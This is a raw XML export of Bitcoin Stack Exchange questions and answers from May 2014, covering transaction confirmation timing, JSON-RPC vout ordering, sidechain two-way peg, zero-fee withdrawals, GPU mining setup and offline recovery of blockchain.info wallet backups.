  <row Id="25543" PostTypeId="2" ParentId="25542" CreationDate="2014-05-23T14:02:05.953" Score="4" Body="&lt;p&gt;The first confirmation was in block 298902, so the third confirmation was with block &lt;a href=&quot;https://blockchain.info/block/000000000000000004225c790dd5b4c448fba4ef5a147807ceae171ffe379bc6&quot; rel=&quot;nofollow noreferrer&quot;&gt;298904&lt;/a&gt;, which is timestamped as 2014-05-03 09:42:49 (66 minutes after it was first received).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this timestamp is later than the one in the &lt;a href=&quot;https://blockchain.info/block/00000000000000003b22a916695ea0cda213387101e1dc1d248beef9592bb091&quot; rel=&quot;nofollow noreferrer&quot;&gt;block after it&lt;/a&gt;, suggesting that a timestamp was pretty far off. As &lt;a href=&quot;https://bitcoin.stackexchange.com/a/25547/12034&quot;&gt;Matthieu's answer&lt;/a&gt; shows, &lt;a href=&quot;http://www.blockcypher.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;blockcypher.com&lt;/a&gt;'s API &lt;a href=&quot;http://api.blockcypher.com/v1/btc/main/blocks/298904&quot; rel=&quot;nofollow noreferrer&quot;&gt;includes the time&lt;/a&gt; that they first saw the transaction. This suggests that the actual time three confirmations was reached was around 2014-05-03T09:31:55.867Z, approximately 59 minutes after the transaction was created (since it was relayed by Blockchain.info, I'm assuming the transaction timestamp there is accurate).&lt;/p&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-23T18:52:44.030" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="25544" PostTypeId="2" ParentId="25534" CreationDate="2014-05-23T14:14:56.633" Score="2" Body="&lt;p&gt;It's neither part of the Bitcoin daemon nor something you can just download. It's code you are expected to write and integrate with your web commerce application. The code in the git repository is only a sample.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See my answer  &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24450/5757&quot;&gt;https://bitcoin.stackexchange.com/a/24450/5757&lt;/a&gt; for some further information.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2014-05-23T14:14:56.633" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25545" PostTypeId="2" ParentId="25541" CreationDate="2014-05-23T14:37:26.050" Score="1" Body="&lt;p&gt;Your understanding is mostly correct, the only thing that is incorrect is that there would be &lt;strong&gt;only one transaction&lt;/strong&gt; that would be sourced with ten different inputs. You only have to input your password, you don't have to manually enter any private keys, unless you are importing new private keys to your wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since there would only be one transaction that would be accessing all ten addresses for inputs, the ten addresses would be known to be belonging to the same owner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, strictly speaking the BTC aren't &quot;in&quot; the wallet: Rather, the wallet only contains the keys, while the BTC are stored decentrally on the blockchain. The BTC are &quot;in the wallet&quot; only in so far that they can be sent with the keys from the wallet, and that the wallet software keeps an account of what your balance is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This results in the distinction that you only have to keep safe the keys to protect your spending power, the &quot;history&quot; part of your wallet is only for your information.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-05-23T14:49:51.387" LastActivityDate="2014-05-23T14:49:51.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25546" PostTypeId="2" ParentId="25540" CreationDate="2014-05-23T18:23:58.767" Score="5" Body="&lt;p&gt;First, use the API to get the information on the &lt;code&gt;txid&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/api/tx/e3f0e88ce224d342a0189c1b9d2fd488d8bda2f303dbe1e1dbbaa5f51d9f4a53&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://live.insight.is/api/tx/e3f0e88ce224d342a0189c1b9d2fd488d8bda2f303dbe1e1dbbaa5f51d9f4a53&quot; rel=&quot;noreferrer&quot;&gt;This result&lt;/a&gt; will include all of the details you're looking for. Here are the parts that you're asking about. The &lt;code&gt;n&lt;/code&gt; here corresponds to the &lt;code&gt;vout&lt;/code&gt; number above, I believe, and the &lt;code&gt;value&lt;/code&gt; and &lt;code&gt;addresses&lt;/code&gt; values are the input amount and address.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;value&quot;: &quot;2405.38864196&quot;,&#xA;&quot;n&quot;: 1,&#xA;&quot;scriptPubKey&quot;: {&#xA;    ...&#xA;    &quot;addresses&quot;: [&#xA;        &quot;1NG1nT2ZuFw47f41mGjYpPp7J837yTQZhB&quot;&#xA;    ]&#xA;},&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-05-23T18:23:58.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25547" PostTypeId="2" ParentId="25542" CreationDate="2014-05-23T18:30:19.877" Score="3" Body="&lt;p&gt;As answered by Tim S. the 3rd confirmation is on block 298904. But the received time on blockchain.info is mostly inaccurate, see:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://api.blockcypher.com/v1/btc/main/blocks/298902&quot; rel=&quot;nofollow&quot;&gt;http://api.blockcypher.com/v1/btc/main/blocks/298902&lt;/a&gt;&#xA;&lt;a href=&quot;http://api.blockcypher.com/v1/btc/main/blocks/298904&quot; rel=&quot;nofollow&quot;&gt;http://api.blockcypher.com/v1/btc/main/blocks/298904&lt;/a&gt;&#xA;&lt;a href=&quot;http://api.blockcypher.com/v1/btc/main/blocks/298905&quot; rel=&quot;nofollow&quot;&gt;http://api.blockcypher.com/v1/btc/main/blocks/298905&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So 298904 was received at 9:31:55 while 298905 was received at 9:32:04.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastEditorUserId="15524" LastEditDate="2014-05-24T15:41:25.273" LastActivityDate="2014-05-24T15:41:25.273" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25548" PostTypeId="2" ParentId="25499" CreationDate="2014-05-23T18:33:42.553" Score="1" Body="&lt;p&gt;I would suggest using a Web API to get notified when a transaction happens on the address(es) you're interested in, it's by far the simpler. Something like this may help:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.blockcypher.com/#websocket_webhook&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#websocket_webhook&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-23T18:33:42.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25549" PostTypeId="1" AcceptedAnswerId="25551" CreationDate="2014-05-23T19:02:12.383" Score="3" ViewCount="68" Body="&lt;p&gt;Just a random transaction for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind getrawtransaction e16829044c498e1d1c8fa9dc831a7c96c3b74f55b984b54a7d48c4d0156ffcf5 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    ...&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.09076500,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;&quot;,&#xA;                &quot;hex&quot; : &quot;76a914cc4ac9ecfe26163f4e657e5ce9eee9947d0459b988ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1KdCSYosbepwC4yMKWziwM3ytqWfAGg1n8&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00200000,&#xA;            &quot;n&quot; : 1,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 04d075b3f501deeef5565143282b6cfe8fad5e94 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91404d075b3f501deeef5565143282b6cfe8fad5e9488ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;1STRonGxnFTeJiA7pgyneKknR29AwBM77&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.00200000,&#xA;            &quot;n&quot; : 2,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 42d163a80a1fb2579ba05c9dde70152cc1463b19 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91442d163a80a1fb2579ba05c9dde70152cc1463b1988ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;176JSHRoCTo2jPMFy5ZMR9FHU4LbtZX6Jj&quot;&#xA;                ]&#xA;            }&#xA;        },&#xA;        {&#xA;            &quot;value&quot; : 0.27422642,&#xA;            &quot;n&quot; : 3,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 3871de7b4bd8c08048f8ac112790050406109cba OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a9143871de7b4bd8c08048f8ac112790050406109cba88ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : &quot;pubkeyhash&quot;,&#xA;                &quot;addresses&quot; : [&#xA;                    &quot;169TFWEpspsX9Xp5Hwq6bu5FyEe4syGu2f&quot;&#xA;                ]&#xA;            }&#xA;        }&#xA;    ],&#xA;    &quot;blockhash&quot; : &quot;00000000000000006053fc5faf2c099f30be416175488b34e947ea44480aae83&quot;,&#xA;    &quot;confirmations&quot; : 265,&#xA;    &quot;time&quot; : 1400729945,&#xA;    &quot;blocktime&quot; : 1400729945&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is about the orders of the vout array.  Can we assume that the ordering matches &quot;n&quot;?  Ie.  The first vout has n=0, the second vout has n=1 etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for asking is to take advantage of array index lookups instead of having to loop through looking for matching n values.  &lt;/p&gt;&#xA;" OwnerUserId="15210" LastEditorUserId="15210" LastEditDate="2014-05-23T21:50:20.653" LastActivityDate="2014-05-23T21:50:20.653" Title="Can we assume that the ordering of vout matches n index in json rpc" Tags="|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25550" PostTypeId="2" ParentId="24549" CreationDate="2014-05-23T19:12:47.593" Score="9" Body="&lt;p&gt;As Mikka explains, sidechains don't need to create their own currency, using bitcoins in the sidechain is precisely the point of two-way peg (there's no reason why an altchain with its own currency, like say litecoin or ethereum, couldn't support 2-way peg and also become a sidechain though).&#xA;Also, take into account there's &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/22vn4m/why_do_people_think_that_sidechains_are_going_to/cgqy5w6&quot;&gt;several possible ways&lt;/a&gt; to implement sidechains. I will talk about the most basic one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First some bitcoins are moved to a &quot;pegging pool&quot; for each sidechain and get locked there on a script until someone provides a scriptsig that satisfies some of them.&#xA;The user uses that &quot;proof of suspension&quot; to get the same quantity of btc in the sidechain. To prevent reorg risks, there must be a quieting period of X blocks in btc before the coins are accepted in the sidechain, say 100 bitcoin blocks.&#xA;After that, the coins can be send normally (or with the special rules the sidechain may have).&#xA;At some point, a new owner wants to move the bitcoins back to the main chain.&#xA;To do that he produces a &quot;proof of burn/resumption&quot; transaction (that needs to have a legacy format the bitcoin chain can understand). Then again there's a quieting period of X blocks in the sidechain before the coins can be claimed in the main chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To claim the coins back on the main chain, the user needs to provide the all the headers of the sidechain from the last time coins were withdrawn from the pegging pool to the block containing the resumption transaction (since this could easily become too long, even bigger than a whole bitcoin block, a compression mechanism is needed; I won't describe this but I'll just say that relies on &quot;lucky blocks&quot; and once implemented would be generally good for headers-first synchronization), the merkle path to that transaction, plus the additional X quieting blocks on top of it. This way we know how much work this chain has and that the transaction is included in that chain and buried with X blocks.&#xA;The bitcoin network doesn't need to know about the validity of the chain provided, only about the work. In that sense 2-way peg has a level of security equivalent to SPV because the chain with more work is trusted without fully validating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you say, how does the bitcoin network knows there's no other longer chain somewhere else?&#xA;It doesn't, so something else must be done to prevent sidechain miners from stealing the coins by just providing an invalid chain with enough work.&#xA;So, yes, we need yet another quieting period during which anybody can submit a &quot;proof of reorg&quot; with a chain longer (more work) than yours which doesn't contain your resumption transaction, invalidating your claim and making you start again.&#xA;So to steal coins an attacker must to control 51% or more of the sidechain's hashing power for the last quieting two quieting periods, the last of which could be set to days.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the reward question, again, there's several possibilities. The simplest approach would be for the sidechain to live on transaction fees like bitcoin itself will have to do in the future. Another possibility is to distribute the fees between several future blocks to have a more predictable and constant reward. Another probably less popular approach is to have a demurrage fee on the bitcoins on the sidechain. I'm sure there will be more proposals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read the original thread on 2-way peg here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://sourceforge.net/p/bitcoin/mailman/message/32108143/&quot;&gt;http://sourceforge.net/p/bitcoin/mailman/message/32108143/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There have also been many discussions on #bitcoin-wizards :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://download.wpsoftware.net/bitcoin/wizards/&quot;&gt;http://download.wpsoftware.net/bitcoin/wizards/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2014-05-23T19:12:47.593" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25551" PostTypeId="2" ParentId="25549" CreationDate="2014-05-23T19:25:31.953" Score="1" Body="&lt;p&gt;Yes, that's how inputs reference outputs as well.&lt;/p&gt;&#xA;" OwnerUserId="15524" LastActivityDate="2014-05-23T19:25:31.953" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25552" PostTypeId="1" AcceptedAnswerId="25574" CreationDate="2014-05-23T20:05:43.517" Score="1" ViewCount="394" Body="&lt;p&gt;With the &lt;a href=&quot;https://github.com/jim618/multibit/issues/540&quot; rel=&quot;nofollow noreferrer&quot;&gt;removal of the feature to import ages.json files to MultiBit&lt;/a&gt; in 5.18, are there any other ways to take my backup and access my bitcoins in the event BlockChain.info ever dies?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Just saw &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/25287/eli5-how-do-i-import-keys-from-blockchain-info-backup-into-multibit-0-5-18&quot;&gt;this question&lt;/a&gt; which partly answers my question, but I would still like to know if MultiBit is the only client that can read these files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the help&lt;/p&gt;&#xA;" OwnerUserId="14887" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-05-24T13:20:14.433" Title="Offline wallet for blockchain.info" Tags="|blockchain.info|multibit|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25553" PostTypeId="1" AcceptedAnswerId="25554" CreationDate="2014-05-23T21:03:41.787" Score="4" ViewCount="2888" Body="&lt;p&gt;I withdrew 3.6 BTC from Poloniex today, but they made the withdrawal transaction without any transaction fee, basically now God knows when it will get to me (basically total loss in day-trading, will NEVER EVER use them again).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything I can do about this? What happens if it goes to limbo and never gets confirmed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/822e447a95f36d11e5782e0093da7b1fd4d5984814380323098cd6a1fdaa9740&quot; rel=&quot;nofollow&quot;&gt;Transaction ID&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16931" LastEditorUserId="15412" LastEditDate="2014-05-24T19:28:14.823" LastActivityDate="2014-05-25T00:15:41.917" Title="Poloniex BTC withdrawal sent with 0 transaction fee, anything I can do?" Tags="|transactions|transaction-fees|" AnswerCount="1" CommentCount="2" ClosedDate="2014-05-25T22:17:06.273" ContentLicense="CC BY-SA 3.0" />
  <row Id="25554" PostTypeId="2" ParentId="25553" CreationDate="2014-05-23T21:12:12.870" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;standard transaction fee rules&lt;/a&gt; allow for a transaction with no fee to be confirmed if it has high enough &lt;em&gt;priority&lt;/em&gt;.  This depends on how old the transaction's inputs are; basically, how long since Poloniex received or last transferred those coins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't have high priority, it could still be confirmed, but it depends on the goodwill of the miners.  (In principle you could try to convince, or pay, a miner to include it in a block, but I don't know who you might talk to.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Tim S. points out in his comment, the priority continues to increase even after the transaction is sent.  You can work out from the formula in the above link how long it might take to reach a high priority level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it doesn't confirm in a reasonable amount of time, you should go back to Poloniex and ask them to resend it with a fee.  They can do this in a way that invalidates the original transaction (essentially a benevolent double-spend) so there would be no risk to them of paying twice.  Until you have a confirmed transaction sending you the coins you are owed, Poloniex hasn't fulfilled its obligation to you.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastEditorUserId="5757" LastEditDate="2014-05-25T00:15:41.917" LastActivityDate="2014-05-25T00:15:41.917" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25555" PostTypeId="1" AcceptedAnswerId="25557" CreationDate="2014-05-23T21:46:52.240" Score="1" ViewCount="187" Body="&lt;p&gt;This may be a silly question, but I keep running in circles. Using either &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;bitcoind&lt;/a&gt; or &lt;a href=&quot;https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29&quot; rel=&quot;nofollow&quot;&gt;JSON-RPC&lt;/a&gt; is there a way to search all transactions involving a address hash? I understand every wallet and most block explorer websites have this feature, but is it a native one I'm overlooking, or does everybody keep a separately indexed database off the blockchain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume from the research I've done its #2, but given the size, history and Speed at which the blockchain updates building this database seems like it would take longer then actually downloading the blockchain. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone please stear me in the correct direction so I'm not wasting the next 6 years rebuilding the wheel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for the assistance. &lt;/p&gt;&#xA;" OwnerUserId="14887" LastActivityDate="2014-05-24T01:02:14.393" Title="Wallet programming, search transactions by address" Tags="|transactions|wallet|blockchain|development|api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25557" PostTypeId="2" ParentId="25555" CreationDate="2014-05-24T01:02:14.393" Score="2" Body="&lt;p&gt;You do need to keep a separately indexed database of the blockchain,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://live.insight.is/&quot; rel=&quot;nofollow&quot;&gt;insight.is&lt;/a&gt; is a good place to start, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;bitcoind would have to do an extensive rescan to answer that query.&lt;/p&gt;&#xA;" OwnerUserId="16928" LastActivityDate="2014-05-24T01:02:14.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25558" PostTypeId="2" ParentId="25518" CreationDate="2014-05-24T01:12:29.260" Score="-2" Body="&lt;p&gt;If you know Python, &lt;a href=&quot;https://github.com/richardkiss/pycoin&quot; rel=&quot;nofollow&quot;&gt;pycoin&lt;/a&gt; might be a good place to start for a hd wallet implementation.&lt;/p&gt;&#xA;" OwnerUserId="16928" LastEditorUserId="5406" LastEditDate="2014-05-30T08:53:07.353" LastActivityDate="2014-05-30T08:53:07.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25561" PostTypeId="2" ParentId="24028" CreationDate="2014-05-24T04:59:05.500" Score="-2" Body="&lt;p&gt;you need to be using the cudaminer for Nvidia..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now you should be using x11 to hash..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;my GTX650ti went from 200kh scrypt to 1100kh x11 coins..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hit up a multipool like blackcoin.co/mining/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;check out &lt;a href=&quot;http://www.blackcoin.co/&quot; rel=&quot;nofollow&quot;&gt;http://www.blackcoin.co/&lt;/a&gt;.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;that card should scream.. especially with those specs.. maybe 2.4 to 3.4MH&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I make 12 BC a day @ about .00024 Btc each a day..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cryptomining-blog.com/wp-content/files/ccminer-1.0-windows-new.zip&quot; rel=&quot;nofollow&quot;&gt;http://cryptomining-blog.com/wp-content/files/ccminer-1.0-windows-new.zip&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Nvidia is kicking ass right now..&lt;/p&gt;&#xA;" OwnerUserId="16942" LastEditorUserId="16942" LastEditDate="2014-05-24T05:04:31.927" LastActivityDate="2014-05-24T05:04:31.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25564" PostTypeId="1" CreationDate="2014-05-24T05:49:17.067" Score="0" ViewCount="3638" Body="&lt;p&gt;So, after much struggling and a few reinstallations, I got my nVidia Geforce 8400 GS mining by installing the correct drivers, nvidia-cuda-toolkit, openssl, automake/autoconf, and cudaminer. The trouble is, while mining I can do hardly anything else efficiently. The next thing I'm going to try is doing it it another terminal screen using ctrl+alt+F2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I had the idea that I could use the onboard video for actual video and then just mine with the card. It really wouldn't change my life too much to do so. So I enabled the IGN on BIOS and then restarted, and tried to run Cudaminer again. No good result there. So I reenabled the nVidia card and what happened? Still no Cudaminer working. And now I'm reinstalling Xubuntu 14.04 again to recreate the situation where I had it mining (47KHs was nice compared to the 1.87 I was getting with just the CPU before -- I know, I know, I'm buying some mining equipment soon.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I want to know is if there is a way to do what I had in mind, that is utilize the onboard video for video output but still mine with the the Geforce?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if any part of this didn't make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paul&lt;/p&gt;&#xA;" OwnerUserId="16943" LastEditorUserId="5406" LastEditDate="2016-04-24T12:53:44.153" LastActivityDate="2022-04-03T14:27:56.377" Title="Using Onboard Video but Mining with nVidia Geforce 8400GS" Tags="|miner-configuration|linux|gpu-mining|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="25566" PostTypeId="2" ParentId="3822" CreationDate="2014-05-24T06:15:23.807" Score="2" Body="&lt;p&gt;On Windows you will have to modify the BitCoin application's shortcut to add the datadir parameter, so that everytime you launch BitCoin it will always use the new data directory:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;C:\Program Files (x86)\Bitcoin\bitcoin-qt.exe&quot; -datadir=d:\BitCoinData&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IdLAR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're using Armory to manage BitCoin, you need to set the location for the Bitcoin home directory. Go to File &gt; Settings:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F5GlS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12641" LastEditorUserId="12641" LastEditDate="2014-05-24T08:09:30.713" LastActivityDate="2014-05-24T08:09:30.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25571" PostTypeId="2" ParentId="19965" CreationDate="2014-05-24T09:28:59.123" Score="0" Body="&lt;p&gt;It is completely possible. Some reasons that could explain why no Scrypt chain merge mines with litecoin are that their developers haven't decided to do so, don't know how to do it or don't undesrtand its advantages. Most Scrypt currencies are just parameter tweaks on litecoin anyway, which was already a parameter tweak on bitcoin plus changing SHA256 for the less efficient to validate scrypt (using flawed arguments based on the &lt;strong&gt;&quot;anti-ASIC&quot; myth&lt;/strong&gt; to attract uniformed users) in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If dogecoin, for example, merged mined with litecoin, it wouldn't be as secure as litecoin (whose reward is bigger) but it would become more secure than it is today.&lt;/p&gt;&#xA;" OwnerUserId="192" LastActivityDate="2014-05-24T09:28:59.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25572" PostTypeId="2" ParentId="24569" CreationDate="2014-05-24T09:53:49.347" Score="1" Body="&lt;p&gt;Sidechains are chains which allow 2-way peg, that is, moving bitcoins to the sidechain and then back to the main chain without trusting any third party, like you do, for example, when you move Bitcoins to say, Ripple (there you have to trust Bitstamp or another gateway). As such, there's no sidechain in existence, simply because the technology has not been implemented yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2-way peg is orthogonal to merged mining (you can do each of them separately or both). It is generally assumed that a sidechain would have merged mining because the bitcoin wizards designing sidechains accept that merged mining is generally desirable because of its superior security properties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Compared to atomic swapping, 2 way peg is much slower but it doesn't require a counterpart that wants to move coins in the other direction.&#xA;So when sidechains are implemented, it is likely that most of the transfers are done with atomic swapping and only the first movements are done with 2 way peg, which is mostly there as a last resort in case you can't find someone else that wants to move the same quantity in the opposite direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are more details on how 2-way peg works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/questions/24549/how-is-a-side-chain-merging-back-to-bitcoin-chain-protected-against-double-spend&quot;&gt;How is a side-chain merging back to Bitcoin chain protected against double-spend? Where are the side-chain mining fees?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="192" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-05-24T09:53:49.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25574" PostTypeId="2" ParentId="25552" CreationDate="2014-05-24T12:48:00.333" Score="2" Body="&lt;p&gt;Blockchain.info's wallet is based on the code at &lt;a href=&quot;https://github.com/blockchain/My-Wallet&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blockchain/My-Wallet&lt;/a&gt;. (no license is specified that I can see, but it seems apparent that they wish you to have the right to use it to own your keys) But let's take the worst-case view we can regarding this: Blockchain.info is suddenly offline, and their My-Wallet code with all of its forks on github are removed. You have a backup (encrypted or double-encrypted) and you wish to restore it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/pinheadmz/DecryptWallet&quot; rel=&quot;nofollow&quot;&gt;pinheadmz&lt;/a&gt; has created an open source blockchain.info wallet decryption tool, based on &lt;a href=&quot;https://blockchain.info/DecryptWallet.html&quot; rel=&quot;nofollow&quot;&gt;a tool&lt;/a&gt; that blockchain.info has temporarily removed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the existing &lt;a href=&quot;https://blockchain.info/wallet/import-wallet&quot; rel=&quot;nofollow&quot;&gt;Import Wallet&lt;/a&gt; page and tweaked it to dump the private keys in an &lt;a href=&quot;http://www.w3schools.com/js/js_popup.asp&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;alert&lt;/code&gt;&lt;/a&gt; window. This works with all of the encryption schemes that blockchain.info currently supports. It's quite unpolished, but does the job. It outputs each private key in the format in the backup (usually base58, which is somewhat unusual) and hex. You can download it at &lt;a href=&quot;https://www.dropbox.com/s/k3pgh1psiacwycs/Blockchain.info%20private%20key%20dumper.zip&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To ensure that you can easily make use of the above output, you might also want to have an offline copy of the (open source, public domain) &lt;a href=&quot;http://brainwallet.org/&quot; rel=&quot;nofollow&quot;&gt;Brainwallet&lt;/a&gt; site, which I've made a &lt;a href=&quot;https://www.dropbox.com/s/jxld706dpj5kxy7/brainwallet.github.com-master.zip&quot; rel=&quot;nofollow&quot;&gt;copy of here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You and I are hardly the only ones to think of such things. &lt;a href=&quot;https://bitcointalk.org/index.php?topic=594570.0&quot; rel=&quot;nofollow&quot;&gt;This thread&lt;/a&gt; offers some good tips on using your Blockchain private keys offline (e.g. enable the option for automatic backups to be emailed to you when your wallet changes). I think it's quite 